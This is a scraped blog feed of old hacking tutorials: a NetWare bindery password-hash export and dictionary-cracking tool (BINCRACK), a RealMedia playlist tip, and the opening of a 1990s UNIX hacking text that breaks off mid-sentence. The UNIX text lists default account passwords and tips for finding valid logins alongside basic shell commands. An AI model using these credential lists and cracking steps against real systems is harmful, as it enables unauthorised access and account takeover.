file. This can&lt;br /&gt;be used for various purposes:&lt;br /&gt;&lt;br /&gt; -   problem diagnosis and repair&lt;br /&gt;&lt;br /&gt; -   creation of large binderies given a set of user information&lt;br /&gt;&lt;br /&gt; -   compaction of binderies&lt;br /&gt;&lt;br /&gt; -   merging binderies or moving users between binderies while&lt;br /&gt;     preserving their passwords&lt;br /&gt;&lt;br /&gt;To see the format of the export file, try exporting a small bindery.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;4. Password cracking&lt;br /&gt;&lt;br /&gt;Passwords are not stored in clear in the bindery. What is stored is a&lt;br /&gt;16-byte value computed via a one-way function from the user's object id&lt;br /&gt;and the password. Given the object id and password it is possible to&lt;br /&gt;generate a candidate password which can be compared against that in the&lt;br /&gt;bindery.&lt;br /&gt;&lt;br /&gt;The ETC option of the BINDERY command produces a file containing the&lt;br /&gt;required information, in a format superficially similar to /etc/passwd&lt;br /&gt;on Unix:&lt;br /&gt;&lt;br /&gt;   userid:pw-hash:object-id:pw-len:name::&lt;br /&gt;&lt;br /&gt;e.g.&lt;br /&gt;&lt;br /&gt;   ttidy:32d8998e098a05830f809b809ea02137:D0000001:8:Terry Tidy&lt;br /&gt;&lt;br /&gt;This can then be input into bindery cracking programs. Separating the&lt;br /&gt;functions in this way allows various forms of parallelism:&lt;br /&gt;&lt;br /&gt; -   the password file can be split into smaller chunks&lt;br /&gt;&lt;br /&gt; -   the same password file can be worked on by several cracking&lt;br /&gt;     programs each with different dictionaries or algorithms&lt;br /&gt;&lt;br /&gt; -   cracking programs can be run on faster machines&lt;br /&gt;&lt;br /&gt;A cracking program BINCRACK is provided which takes such a file as&lt;br /&gt;input. It has command syntax:&lt;br /&gt;&lt;br /&gt;   bincrack [/verify] [/numsub] pw-file dict-file&lt;br /&gt;&lt;br /&gt;/verify lists the passwords that are being tried. /numsub tries&lt;br /&gt;substituting numbers for letters, e.g. "1D10T". This takes a lot longer&lt;br /&gt;as all possible combinations are tried. pw-file is an exported bindery&lt;br /&gt;password file. dict-file is a simple word list.&lt;br /&gt;&lt;br /&gt;Versions are available for MS-DOS and for Solaris 1 and Solaris 2 SPARC&lt;br /&gt;systems.&lt;br /&gt;&lt;br /&gt;Suitable wordlists can be found at&lt;br /&gt;&lt;br /&gt;   ftp://ftp.ox.ac.uk/pub/wordlists/&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/1600577931686774058-1918166823853660367?l=200hacking-tutorial.blogspot.com' alt='' /&gt;&lt;/div&gt;
&lt;p&gt;&lt;a href="http://feedads.g.doubleclick.net/~a/0snIEGVpQ0ZPb20xSTga2LxxqE0/0/da"&gt;&lt;img src="http://feedads.g.doubleclick.net/~a/0snIEGVpQ0ZPb20xSTga2LxxqE0/0/di" border="0" ismap="true"&gt;&lt;/img&gt;&lt;/a&gt;&lt;br/&gt;
&lt;a href="http://feedads.g.doubleclick.net/~a/0snIEGVpQ0ZPb20xSTga2LxxqE0/1/da"&gt;&lt;img src="http://feedads.g.doubleclick.net/~a/0snIEGVpQ0ZPb20xSTga2LxxqE0/1/di" border="0" ismap="true"&gt;&lt;/img&gt;&lt;/a&gt;&lt;/p&gt;&lt;img src="http://feeds.feedburner.com/~r/200HackingTutorial/~4/XOc01cP11Fs" height="1" width="1"/&gt;</content><link rel="replies" type="application/atom+xml" href="http://200hacking-tutorial.blogspot.com/feeds/1918166823853660367/comments/default" title="Post Comments" /><link rel="replies" type="text/html" href="http://200hacking-tutorial.blogspot.com/2009/11/accessing-bindery-files-directly.html#comment-form" title="0 Comments" /><link rel="edit" type="application/atom+xml" href="http://www.blogger.com/feeds/1600577931686774058/posts/default/1918166823853660367?v=2" /><link rel="self" type="application/atom+xml" href="http://www.blogger.com/feeds/1600577931686774058/posts/default/1918166823853660367?v=2" /><link rel="alternate" type="text/html" href="http://feedproxy.google.com/~r/200HackingTutorial/~3/XOc01cP11Fs/accessing-bindery-files-directly.html" title="Accessing the bindery files directly" /><author><name>EDIDIONG</name><uri>http://www.blogger.com/profile/12177228070157737970</uri><email>noreply@blogger.com</email><gd:image rel="http://schemas.google.com/g/2005#thumbnail" width="16" height="16" src="http://img2.blogblog.com/img/b16-rounded.gif" /></author><thr:total>0</thr:total><feedburner:origLink>http://200hacking-tutorial.blogspot.com/2009/11/accessing-bindery-files-directly.html</feedburner:origLink></entry><entry gd:etag="W/&quot;CU8ARXk6fSp7ImA9WxNUEkk.&quot;"><id>tag:blogger.com,1999:blog-1600577931686774058.post-5331268811485658028</id><published>2009-11-03T02:23:00.000-08:00</published><updated>2009-11-03T02:24:04.715-08:00</updated><app:edited xmlns:app="http://www.w3.org/2007/app">2009-11-03T02:24:04.715-08:00</app:edited><title>A very small tut for RealMedia</title><content type="html">You may find this helpful if you donwload hundreds of short episodes in rm format like me and tired of double-click to open next files.&lt;br /&gt;&lt;br /&gt;Very easy. Use notepad to open a new file, type this inside:&lt;br /&gt;file://link to file1&lt;br /&gt;file://link to file2&lt;br /&gt;(type as many as you want)&lt;br /&gt;Close file. Rename it to FileName.rm&lt;br /&gt;&lt;br /&gt;Then you`re done!!!!&lt;br /&gt;&lt;br /&gt;Ex:&lt;br /&gt;I put my playlist file here: C:\Movies\7VNR&lt;br /&gt;And the movie files are in C:\Movies\7VNR\DragonBall&lt;br /&gt;&lt;br /&gt;Then inside my playlist file I`ll have something like this:&lt;br /&gt;&lt;br /&gt;file://DragonBall/db134.rm&lt;br /&gt;file://DragonBall/db135.rm&lt;br /&gt;file://DragonBall/db136.rm&lt;br /&gt;file://DragonBall/db137.rm&lt;br /&gt;file://DragonBall/db138.rm&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/1600577931686774058-5331268811485658028?l=200hacking-tutorial.blogspot.com' alt='' /&gt;&lt;/div&gt;
&lt;p&gt;&lt;a href="http://feedads.g.doubleclick.net/~a/xWd3pVMb34n8eq8WPNRvPqK0sAs/0/da"&gt;&lt;img src="http://feedads.g.doubleclick.net/~a/xWd3pVMb34n8eq8WPNRvPqK0sAs/0/di" border="0" ismap="true"&gt;&lt;/img&gt;&lt;/a&gt;&lt;br/&gt;
&lt;a href="http://feedads.g.doubleclick.net/~a/xWd3pVMb34n8eq8WPNRvPqK0sAs/1/da"&gt;&lt;img src="http://feedads.g.doubleclick.net/~a/xWd3pVMb34n8eq8WPNRvPqK0sAs/1/di" border="0" ismap="true"&gt;&lt;/img&gt;&lt;/a&gt;&lt;/p&gt;&lt;img src="http://feeds.feedburner.com/~r/200HackingTutorial/~4/w_yClqcMZhs" height="1" width="1"/&gt;</content><link rel="replies" type="application/atom+xml" href="http://200hacking-tutorial.blogspot.com/feeds/5331268811485658028/comments/default" title="Post Comments" /><link rel="replies" type="text/html" href="http://200hacking-tutorial.blogspot.com/2009/11/very-small-tut-for-realmedia.html#comment-form" title="0 Comments" /><link rel="edit" type="application/atom+xml" href="http://www.blogger.com/feeds/1600577931686774058/posts/default/5331268811485658028?v=2" /><link rel="self" type="application/atom+xml" href="http://www.blogger.com/feeds/1600577931686774058/posts/default/5331268811485658028?v=2" /><link rel="alternate" type="text/html" href="http://feedproxy.google.com/~r/200HackingTutorial/~3/w_yClqcMZhs/very-small-tut-for-realmedia.html" title="A very small tut for RealMedia" /><author><name>EDIDIONG</name><uri>http://www.blogger.com/profile/12177228070157737970</uri><email>noreply@blogger.com</email><gd:image rel="http://schemas.google.com/g/2005#thumbnail" width="16" height="16" src="http://img2.blogblog.com/img/b16-rounded.gif" /></author><thr:total>0</thr:total><feedburner:origLink>http://200hacking-tutorial.blogspot.com/2009/11/very-small-tut-for-realmedia.html</feedburner:origLink></entry><entry gd:etag="W/&quot;CU8ERnc6fip7ImA9WxNUEkk.&quot;"><id>tag:blogger.com,1999:blog-1600577931686774058.post-2706688545208693829</id><published>2009-11-03T02:22:00.002-08:00</published><updated>2009-11-03T02:23:27.916-08:00</updated><app:edited xmlns:app="http://www.w3.org/2007/app">2009-11-03T02:23:27.916-08:00</app:edited><title>A UNIX Hacking Tutorial</title><content type="html">+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++&lt;br /&gt;+                        UNIX : A Hacking Tutorial                          +&lt;br /&gt;+                            By: Sir Hackalot                               +&lt;br /&gt;+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++&lt;br /&gt;&lt;br /&gt;----------------------&lt;br /&gt;o Intent of this file:&lt;br /&gt;----------------------&lt;br /&gt;&lt;br /&gt;     This phile is geared as an UNIX tutorial at first, to let you get more&lt;br /&gt;familiar with the operating system.  UNIX is just an operating system, as&lt;br /&gt;is MS-DOS, AppleDOS, AmigaDOS, and others.  UNIX happens to be a multi-user-&lt;br /&gt;multi-tasking system, thus bringing a need for security not found on MSDOS,&lt;br /&gt;AppleDOS, etc.  This phile will hopefully teach the beginners who do not have&lt;br /&gt;a clue about how to use UNIX a good start, and may hopefully teach old pros&lt;br /&gt;something they didn't know before.  This file deals with UNIX SYSTEM V and&lt;br /&gt;its variants.  When I talk about unix, its usually about SYSTEM V (rel 3.2).&lt;br /&gt;&lt;br /&gt;Where Can I be found?  I have no Idea.  The Boards today are going Up'n'Down&lt;br /&gt;so fast, 3 days after you read this file, if I put a BBS in it where you could&lt;br /&gt;reach me, it may be down!  Just look for me.&lt;br /&gt;&lt;br /&gt;I can be reached on DarkWood Castle [If it goes back up], but that board&lt;br /&gt;is hard to get access on, but I decided to mention it anyway.&lt;br /&gt;&lt;br /&gt;I *COULD* Have been reached on jolnet, but......&lt;br /&gt;&lt;br /&gt;This file may have some bad spelling, etc, or discrepencies since it was&lt;br /&gt;spread out over a long time of writing, because of school, work, Girl friend,&lt;br /&gt;etc.  Please, no flames.  If you don't like this file, don't keep it.&lt;br /&gt;&lt;br /&gt;This is distributed under PHAZE Inc.  Here are the members (and ex ones)&lt;br /&gt;The Dark Pawn&lt;br /&gt;The Data Wizard&lt;br /&gt;Sir Hackalot (Me)&lt;br /&gt;Taxi (ummm.. Busted)&lt;br /&gt;Lancia (Busted)&lt;br /&gt;The British Knight (Busted)&lt;br /&gt;The Living Pharoah (Busted)&lt;br /&gt;&lt;br /&gt;_____________________________________________________________________________&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;-------------&lt;br /&gt;o Dedication:&lt;br /&gt;-------------&lt;br /&gt;        This phile is dedicated to the members of LOD that were raided in&lt;br /&gt;Atlanta.  The members that got busted were very good hackers, especially&lt;br /&gt;The Prophet. Good luck to you guys, and I hope you show up again somewhere.&lt;br /&gt;_____________________________________________________________________________&lt;br /&gt;&lt;br /&gt;------------------------&lt;br /&gt;o A little History, etc:&lt;br /&gt;------------------------&lt;br /&gt;&lt;br /&gt;        UNIX, of course, was invented By AT&amp;T in the 60's somewhere, to be&lt;br /&gt;"a programmer's operating system."  While that goal was probably not reached&lt;br /&gt;when they first invented UNIX, it seems that now, UNIX is a programmer's OS.&lt;br /&gt;UNIX, as I have said before, is a multi-tasking/multi-user OS.  It is also&lt;br /&gt;written in C, or at least large parts of it are, thus making it a portable&lt;br /&gt;operating system.  We know that MSDOS corresponds to IBM/clone machines,&lt;br /&gt;right?  Well, this is not the case with UNIX.  We do not associate it with&lt;br /&gt;any one computer since it has been adapted for many, and there are many&lt;br /&gt;UNIX variants [that is, UNIX modified by a vendor, or such].  Some AT&amp;T&lt;br /&gt;computers run it, and also some run MSDOS [AT&amp;T 6300].  The SUN workstations&lt;br /&gt;run SunOS, a UNIX variant, and some VAX computers run Ultrix, a VAX version&lt;br /&gt;of UNIX.  Remember, no matter what the name of the operating system is [BSD,&lt;br /&gt;UNIX,SunOS,Ultrix,Xenix, etc.], they still have a lot in common, such as the&lt;br /&gt;commands the operating system uses.  Some variants may have features others&lt;br /&gt;do not, but they are basically similar in that they have a lot of the same&lt;br /&gt;commands/datafiles.  When someone tries to tell you that UNIX goes along with&lt;br /&gt;a certain type of computer, they may be right, but remember, some computers&lt;br /&gt;have more than one Operating system.  For instance, one person may tell you&lt;br /&gt;that UNIX is to a VAX as MSDOS is to IBM/clones.  That is untrue, and the&lt;br /&gt;only reason I stated that, was because I have seen many messages with info&lt;br /&gt;/comparisons in it like that, which confuse users when they see a VAX running&lt;br /&gt;VMS.&lt;br /&gt;____________________________________________________________________________&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;-------------------------------&lt;br /&gt;o Identifying a Unix/Logging in&lt;br /&gt;-------------------------------&lt;br /&gt;&lt;br /&gt;        From now on, I will be referring to all the UNIX variants/etc as&lt;br /&gt;UNIX, so when I say something about UNIX, it generally means all the variants&lt;br /&gt;(Unix System V variants that is: BSD, SunOS, Ultrix, Xenix, etc.), unless&lt;br /&gt;I state a variant in particular.&lt;br /&gt;&lt;br /&gt;        Okay.  Now its time for me to tell you how a unix USUALLY greets you.&lt;br /&gt;First, when you call up a UNIX, or connect to one however you do, you will&lt;br /&gt;usually get this prompt:&lt;br /&gt;&lt;br /&gt;login:&lt;br /&gt;&lt;br /&gt;Ok.  Thats all fine and dandy.  That means that this is PROBABLY a Unix,&lt;br /&gt;although there are BBS's that can mimic the login procedure of an OS&lt;br /&gt;(Operating System), thus making some people believe its a Unix. [Hah!].&lt;br /&gt;Some Unixes will tell you what they are or give you a message before a&lt;br /&gt;login:  prompt, as such:&lt;br /&gt;&lt;br /&gt;Welcome to SHUnix.  Please log in.&lt;br /&gt;&lt;br /&gt;login:&lt;br /&gt;&lt;br /&gt;        Or something like that.  Public access Unixes [like Public BBSs] will&lt;br /&gt;tell you how to logon if you are a new users.  Unfortunatly, this phile is&lt;br /&gt;not about public access Unixes, but I will talk about them briefly later, as&lt;br /&gt;a UUCP/UseNet/Bitnet address for mail.&lt;br /&gt;        OK.  You've gotten to the login prompt!  Now, what you need to do&lt;br /&gt;here is enter in a valid account.  An Account usually consists of 8 characters&lt;br /&gt;or less.  After you enter in an account, you will probably get a password&lt;br /&gt;prompt of some sort.  The prompts may vary, as the source code to the login&lt;br /&gt;program is usually supplied with UNIX, or is readily available for free.&lt;br /&gt;Well, The easiest thing I can say to do to login is basically this:&lt;br /&gt;Get an account, or try the defaults.  The defaults are ones that came with&lt;br /&gt;the operating system, in standard form.  The list of some of the Defaults&lt;br /&gt;are as follows:&lt;br /&gt;&lt;br /&gt;ACCOUNT                         PASSWORD&lt;br /&gt;-------                         --------&lt;br /&gt;root                            root      - Rarely open to hackers&lt;br /&gt;sys                             sys / system / bin&lt;br /&gt;bin                             sys / bin&lt;br /&gt;mountfsys                       mountfsys&lt;br /&gt;adm                             adm&lt;br /&gt;uucp                            uucp&lt;br /&gt;nuucp                           anon&lt;br /&gt;anon                            anon&lt;br /&gt;user                            user&lt;br /&gt;games                           games&lt;br /&gt;install                         install&lt;br /&gt;reboot                            * See Below&lt;br /&gt;demo                            demo&lt;br /&gt;umountfsys                      umountfsys&lt;br /&gt;sync                            sync&lt;br /&gt;admin                           admin&lt;br /&gt;guest                           guest&lt;br /&gt;daemon                          daemon&lt;br /&gt;&lt;br /&gt;The accounts root, mountfsys, umountfsys, install, and sometimes sync are&lt;br /&gt;root level accounts, meaning they have sysop power, or total power.  Other&lt;br /&gt;logins are just "user level" logins meaning they only have power over what&lt;br /&gt;files/processes they own.  I'll get into that later, in the file permissions&lt;br /&gt;section.  The REBOOT login is what as known as a command login, which just&lt;br /&gt;simply doesn't let you into the operating system, but executes a program&lt;br /&gt;assigned to it.  It usually does just what it says, reboot the system.  It&lt;br /&gt;may not be standard on all UNIX systems, but I have seen it on  UNISYS unixes&lt;br /&gt;and also HP/UX systems [Hewlett Packard Unixes].  So far, these accounts have&lt;br /&gt;not been passworded [reboot], which is real stupid, if you ask me.&lt;br /&gt;&lt;br /&gt;COMMAND LOGINS:&lt;br /&gt;---------------&lt;br /&gt;&lt;br /&gt;There are "command logins", which, like reboot, execute a command then log&lt;br /&gt;you off instead of letting you use the command interpreter. BSD is notorious&lt;br /&gt;for having these, and concequently, so does MIT's computers. Here are some:&lt;br /&gt;&lt;br /&gt;rwho - show who is online&lt;br /&gt;finger - same&lt;br /&gt;who - same&lt;br /&gt;&lt;br /&gt;These are the most useful, since they will give the account names that are&lt;br /&gt;online, thus showing you several accounts that actually exist.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Errors:&lt;br /&gt;-------&lt;br /&gt;&lt;br /&gt;When you get an invalid Account name / invalid password, or both, you will&lt;br /&gt;get some kind of error.  Usually it is the "login incorrect" message.  When&lt;br /&gt;the computer tells you that, you have done something wrong by either enterring&lt;br /&gt;an invalid account name, or a valid account name, but invalid password.  It&lt;br /&gt;does not tell you which mistake you made, for obvious reasons.  Also,&lt;br /&gt;when you login incorrectly, the error log on the system gets updated, letting&lt;br /&gt;the sysops(s) know something is amiss.&lt;br /&gt;&lt;br /&gt;        Another error is "Cannot change to home directory" or "Cannot Change&lt;br /&gt;Directory."  This means that no "home directory" which is essentially the&lt;br /&gt;'root' directory for an account, which is the directory you start off in.&lt;br /&gt;On DOS, you start in A:\ or C:\ or whatever, but in UNIX you start in&lt;br /&gt;/homedirectory.  [Note: The / is used in directories on UNIX, not a \ ].&lt;br /&gt;Most systems will log you off after this, but some tell you that they will&lt;br /&gt;put you in the root directory [ '/'].&lt;br /&gt;&lt;br /&gt;        Another error is "No Shell".  This means that no "shell" was defined&lt;br /&gt;for that particular account.  The "shell" will be explained later.  Some&lt;br /&gt;systems will log you off after this message.  Others will tell you that they&lt;br /&gt;will use the regular shell, by saying "Using the bourne shell", or "Using sh"&lt;br /&gt;&lt;br /&gt;-----------------------------&lt;br /&gt;Accounts In General        :&lt;br /&gt;-----------------------------&lt;br /&gt;&lt;br /&gt;        This section is to hopefully describe to you the user structure&lt;br /&gt;in the UNIX environment.&lt;br /&gt;        Ok, think of UNIX having two levels of security: absolute power,&lt;br /&gt;or just a regular user.  The ones that have absolute power are those users&lt;br /&gt;at the root level.  Ok, now is the time to think in numbers.  Unix associates&lt;br /&gt;numbers with account names.  each account will have a number.  Some will have&lt;br /&gt;the same number.  That number is the UID [user-id] of the account.  the root&lt;br /&gt;user id is 0.  Any account that has a user id of 0 will have root access.&lt;br /&gt;Unix does not deal with account names (logins) but rather the number&lt;br /&gt;associated with them.  for instance, If my user-id is 50, and someone else's&lt;br /&gt;is 50, with both have absolute power of each other, but no-one else.&lt;br /&gt;_____________________________________________________________________________&lt;br /&gt;&lt;br /&gt;---------------&lt;br /&gt;Shells        :&lt;br /&gt;---------------&lt;br /&gt;&lt;br /&gt;        A shell is an executable program which loads and runs when a user&lt;br /&gt;logs on, and is in the foreground.  This "shell" can be any executable prog-&lt;br /&gt;ram, and it is defined in the "passwd" file which is the userfile.  Each&lt;br /&gt;login can have a unique "shell".  Ok.  Now the shell that we usually will work&lt;br /&gt;with is a command interpreter.  A command interpreter is simply something&lt;br /&gt;like MSDOS's COMMAND.COM, which processes commands, and sends them to the&lt;br /&gt;kernel [operating system].  A shell can be anything, as I said before,&lt;br /&gt;but the one you want to have is a command interpreter.  Here are the&lt;br /&gt;usual shells you will find:&lt;br /&gt;&lt;br /&gt;sh - This is the bourne shell. It is your basic Unix "COMMAND.COM".  It has&lt;br /&gt;     a "script" language, as do most of the command interpreters on Unix sys-&lt;br /&gt;     tems.&lt;br /&gt;&lt;br /&gt;csh - This is the "C" shell, which will allow you to enter "C" like commands.&lt;br /&gt;ksh - this is the korn shell.  Just another command interpreter.&lt;br /&gt;tcsh - this is one, which is used at MIT I believe.  Allows command editing.&lt;br /&gt;vsh - visual shell.  It is a menu driven deal.  Sorta like.. Windows for DOS&lt;br /&gt;rsh - restricted shell OR remote shell.  Both Explained later.&lt;br /&gt;        There are many others, including "homemade " shells, which are&lt;br /&gt;programs written by the owner of a unix, or for a specific unix, and they&lt;br /&gt;are not standard.  Remember, the shell is just the program you get to use&lt;br /&gt;and when it is done executing, you get logged off.  A good example of a&lt;br /&gt;homemade shell is on Eskimo North, a public access Unix.  The shell&lt;br /&gt;is called "Esh", and it is just something like a one-key-press BBS,&lt;br /&gt;but hey, its still a shell.  The Number to eskimo north is 206-387-3637.&lt;br /&gt;[206-For-Ever]. If you call there, send Glitch Lots of mail.&lt;br /&gt;        Several companies use Word Processors, databases, and other things&lt;br /&gt;as a user shell, to prevent abuse, and make life easier for unskilled computer&lt;br /&gt;operators.  Several Medical Hospitals use this kind of shell in Georgia,&lt;br /&gt;and fortunatly, these second rate programs leave major holes in Unix.&lt;br /&gt;Also, a BBS can be run as a shell.  Check out Jolnet [312]-301-2100, they&lt;br /&gt;give you a choice between a command interpreter, or a BBS as a shell.&lt;br /&gt;WHen you have a command interpreter, the prompt is usually a:&lt;br /&gt; $&lt;br /&gt;when you are a root user the prompt is usually a:&lt;br /&gt; #&lt;br /&gt;The variable, PS1, can be set to hold a prompt.&lt;br /&gt;For instance, if PS1 is "HI:", your prompt will be:&lt;br /&gt; HI:&lt;br /&gt;&lt;br /&gt;_____________________________________________________________________________&lt;br /&gt;&lt;br /&gt;------------------------&lt;br /&gt;SPecial Characters, ETc:&lt;br /&gt;------------------------&lt;br /&gt;&lt;br /&gt;Control-D : End of file.  When using mail or a text editor, this will end&lt;br /&gt;the message or text file.  If you are in the shell and hit control-d you get&lt;br /&gt;logged off.&lt;br /&gt;&lt;br /&gt;Control-J: On some systems, this is like the enter key.&lt;br /&gt;@ : Is sometimes a "null"&lt;br /&gt;? : This is a wildcard.  This can represent a letter. If you specified&lt;br /&gt;   something at the command line like "b?b" Unix would look for bob,bib,bub,&lt;br /&gt;   and every other letter/number between a-z, 0-9.&lt;br /&gt;* : this can represent any number of characters.  If you specified a "hi*"&lt;br /&gt;    it would use "hit", him, hiiii, hiya, and ANYTHING that starts with&lt;br /&gt;    hi.  "H*l" could by hill, hull, hl, and anything that starts with an&lt;br /&gt;    H and ends with an L.&lt;br /&gt;&lt;br /&gt;[] - The specifies a range.  if i did b[o,u,i]b unix would think: bib,bub,bob&lt;br /&gt;     if i did: b[a-d]b unix would think: bab,bbb,bcb,bdb.  Get the idea? The&lt;br /&gt;     [], ?, and * are usually used with copy, deleting files, and directory&lt;br /&gt;     listings.&lt;br /&gt;&lt;br /&gt;EVERYTHING in Unix is CASE sensitive.  This means "Hill" and "hill" are not&lt;br /&gt;the same thing.  This allows for many files to be able to be stored, since&lt;br /&gt;"Hill" "hill" "hIll" "hiLl", etc. can be different files.  So, when using&lt;br /&gt;the [] stuff, you have to specify capital letters if any files you are dealing&lt;br /&gt;with has capital letters.  Most everything is lower case though.&lt;br /&gt;&lt;br /&gt;----------------&lt;br /&gt;Commands to use:&lt;br /&gt;----------------&lt;br /&gt;&lt;br /&gt;Now, I will rundown some of the useful commands of Unix.  I will act&lt;br /&gt;as if I were typing in the actual command from a prompt.&lt;br /&gt;&lt;br /&gt;ls - this is to get a directory.  With no arguments, it will just print out&lt;br /&gt;     file names in either one column or multi-column output, depending on the&lt;br /&gt;     ls program you have access to.&lt;br /&gt;&lt;br /&gt;        example:&lt;br /&gt;        $ ls&lt;br /&gt;        hithere&lt;br /&gt;        runme&lt;br /&gt;        note.text&lt;br /&gt;        src&lt;br /&gt;        $&lt;br /&gt;        the -l switch will give you extended info on the files.&lt;br /&gt;        $ ls -l&lt;br /&gt;        rwx--x--x sirhack     sirh    10990 runme&lt;br /&gt;        and so on....&lt;br /&gt;&lt;br /&gt;the "rwx--x--x" is the file permission. [Explained Later]&lt;br /&gt;the "sirhack    sirh" is the owner of the file/group the file is in.&lt;br /&gt;sirhack = owner, sirh = user-group the file is in [explained later]&lt;br /&gt;the 10990 is the size of the file in bytes.&lt;br /&gt;"runme" is the file name.&lt;br /&gt;The format varies, but you should have the general idea.&lt;br /&gt;&lt;br /&gt;cat - this types out a file onto the screen.  should be used on text files.&lt;br /&gt;      only use it with binary files to make a user mad [explained later]&lt;br /&gt;      ex:&lt;br /&gt;      $ cat note.txt&lt;br /&gt;      This is a sample text file!&lt;br /&gt;      $&lt;br /&gt;&lt;br /&gt;cd - change directory .  You do it like this: cd /dir/dir1/dir2/dirn.&lt;br /&gt;     the dir1/etc.... describes the directory name.  Say I want to get&lt;br /&gt;     to the root directory.&lt;br /&gt;     ex:&lt;br /&gt;     $ cd /&lt;br /&gt;     *ok, I'm there.*&lt;br /&gt;     $ ls&lt;br /&gt;     bin&lt;br /&gt;     sys&lt;br /&gt;     etc&lt;br /&gt;     temp&lt;br /&gt;     work&lt;br /&gt;     usr&lt;br /&gt; all of the above are directories, lets say.&lt;br /&gt;     $ cd /usr&lt;br /&gt;     $ ls&lt;br /&gt;     sirhack&lt;br /&gt;     datawiz&lt;br /&gt;     prophet&lt;br /&gt;     src&lt;br /&gt;     violence&lt;br /&gt;     par&lt;br /&gt;     phiber&lt;br /&gt;     scythian&lt;br /&gt;     $ cd /usr/sirhack&lt;br /&gt;     $ ls&lt;br /&gt;     hithere&lt;br /&gt;     runme&lt;br /&gt;     note.text&lt;br /&gt;     src&lt;br /&gt;     $&lt;br /&gt;ok, now, you do not have to enter the full dir name.  if you are in&lt;br /&gt;a directory, and want to get into one that is right there [say "src"], you&lt;br /&gt;can type "cd src" [no "/"].  Instead of typing "cd /usr/sirhack/src" from the&lt;br /&gt;sirhack dir, you can type "cd src"&lt;br /&gt;&lt;br /&gt;cp - this copies a file. syntax for it is "cp fromfile tofile"&lt;br /&gt;     $ cp runme runme2&lt;br /&gt;     $ ls&lt;br /&gt;     hithere&lt;br /&gt;     runme&lt;br /&gt;     note.text&lt;br /&gt;     src&lt;br /&gt;     runme2&lt;br /&gt;Full pathnames can be included, as to copy it to another directory.&lt;br /&gt;     $ cp runme /usr/datwiz/runme&lt;br /&gt;&lt;br /&gt;mv - this renames a file. syntax "mv oldname newname"&lt;br /&gt;     $ mv runme2 runit&lt;br /&gt;     $ ls&lt;br /&gt;     hithere&lt;br /&gt;     runme&lt;br /&gt;     note.text&lt;br /&gt;     src&lt;br /&gt;     runit&lt;br /&gt;    files can be renamed into other directories.&lt;br /&gt;     $ mv runit /usr/datwiz/run&lt;br /&gt;     $ ls&lt;br /&gt;     hithere&lt;br /&gt;     runme&lt;br /&gt;     note.text&lt;br /&gt;     src&lt;br /&gt;     $ ls /usr/datwiz&lt;br /&gt;     runme&lt;br /&gt;     run&lt;br /&gt;&lt;br /&gt;pwd - gives current directory&lt;br /&gt;     $ pwd&lt;br /&gt;     /usr/sirhack&lt;br /&gt;     $ cd src&lt;br /&gt;     $ pwd&lt;br /&gt;     /usr/sirhack/src&lt;br /&gt;     $ cd ..&lt;br /&gt;     $ pwd&lt;br /&gt;     /usr/sirhack&lt;br /&gt;     [ the ".." means use the name one directory back. ]&lt;br /&gt;     $ cd ../datwiz&lt;br /&gt;       [translates to cd /usr/datwiz]&lt;br /&gt;     $ pwd&lt;br /&gt;     /usr/datwiz&lt;br /&gt;     $ cd $home&lt;br /&gt;     [goto home dir]&lt;br /&gt;     $ pwd&lt;br /&gt;     /usr/sirhack&lt;br /&gt;&lt;br /&gt;rm - delete a file.  syntax "rm filename" or "rm -r directory name"&lt;br /&gt;     $ rm note.text&lt;br /&gt;     $ ls&lt;br /&gt;     hithere&lt;br /&gt;     runme&lt;br /&gt;     src&lt;br /&gt;     $&lt;br /&gt;&lt;br /&gt;write - chat with another user.  Well, "write" to another user.&lt;br /&gt;syntax: "write username"&lt;br /&gt;    $ write scythian&lt;br /&gt;    scythian has been notified&lt;br /&gt;    Hey Scy! What up??&lt;br /&gt;    Message from scythian on tty001 at 17:32&lt;br /&gt;    hey!&lt;br /&gt;    me: So, hows life?&lt;br /&gt;    scy: ok, I guess.&lt;br /&gt;    me: gotta go finish this text file.&lt;br /&gt;    scy: ok&lt;br /&gt;    me: control-D [to exit program]&lt;br /&gt;    $&lt;br /&gt;&lt;br /&gt;who [w,who,whodo] - print who is online&lt;br /&gt;    $ who&lt;br /&gt;    login       term   logontime&lt;br /&gt;    scythian +  tty001 17:20&lt;br /&gt;    phiberO  +  tty002 15:50&lt;br /&gt;    sirhack  +  tty003 17:21&lt;br /&gt;    datawiz  -  tty004 11:20&lt;br /&gt;    glitch   -  tty666 66:60&lt;br /&gt;    $&lt;br /&gt;    the "who" commands may vary in the information given.  a "+" means&lt;br /&gt;    you can "write" to their terminal, a "-" means you cannot.&lt;br /&gt;&lt;br /&gt;man - show a manual page entry.  syntax "man command name"  This is a help&lt;br /&gt;      program.  If you wanted to know how to use... "who" you'd type&lt;br /&gt;    $ man who&lt;br /&gt;    WHO(1)   xxx......&lt;br /&gt;      and it would tell you.&lt;br /&gt;&lt;br /&gt;stty - set your terminal characteristics.  You WILL have to do "man stty"&lt;br /&gt;     since each stty is different, it seems like.&lt;br /&gt;     an example would be:&lt;br /&gt;    $ stty -parenb&lt;br /&gt;      to make the data params N,8,1.  A lot of Unixes operate at&lt;br /&gt;      e,7,1 by default.&lt;br /&gt;&lt;br /&gt;sz,rz - send and recieve via zmodem&lt;br /&gt;rx,sx - send / recieve via xmodem&lt;br /&gt;rb,sb - send via batch ymodem.   These 6 programs may or may not be on a unix.&lt;br /&gt;umodem - send/recieve via umodem.&lt;br /&gt;      $ sz filename&lt;br /&gt;      ready to send...&lt;br /&gt;      $ rz filename&lt;br /&gt;      please send your file....&lt;br /&gt;      ...etc..&lt;br /&gt;&lt;br /&gt;ed - text editor.  Usage "ed filename"  to create a file that doesn't&lt;br /&gt;     exist, just enter in "ed filename"&lt;br /&gt;     some versions of ed will give you a prompt, such as "*" others will not&lt;br /&gt;     $ ed newtext&lt;br /&gt;     0&lt;br /&gt;     * a&lt;br /&gt;     This is line 1&lt;br /&gt;     This is line 2&lt;br /&gt;     [control-z]&lt;br /&gt;     * 1 [to see line one]&lt;br /&gt;     This is line 1&lt;br /&gt;     * a [keep 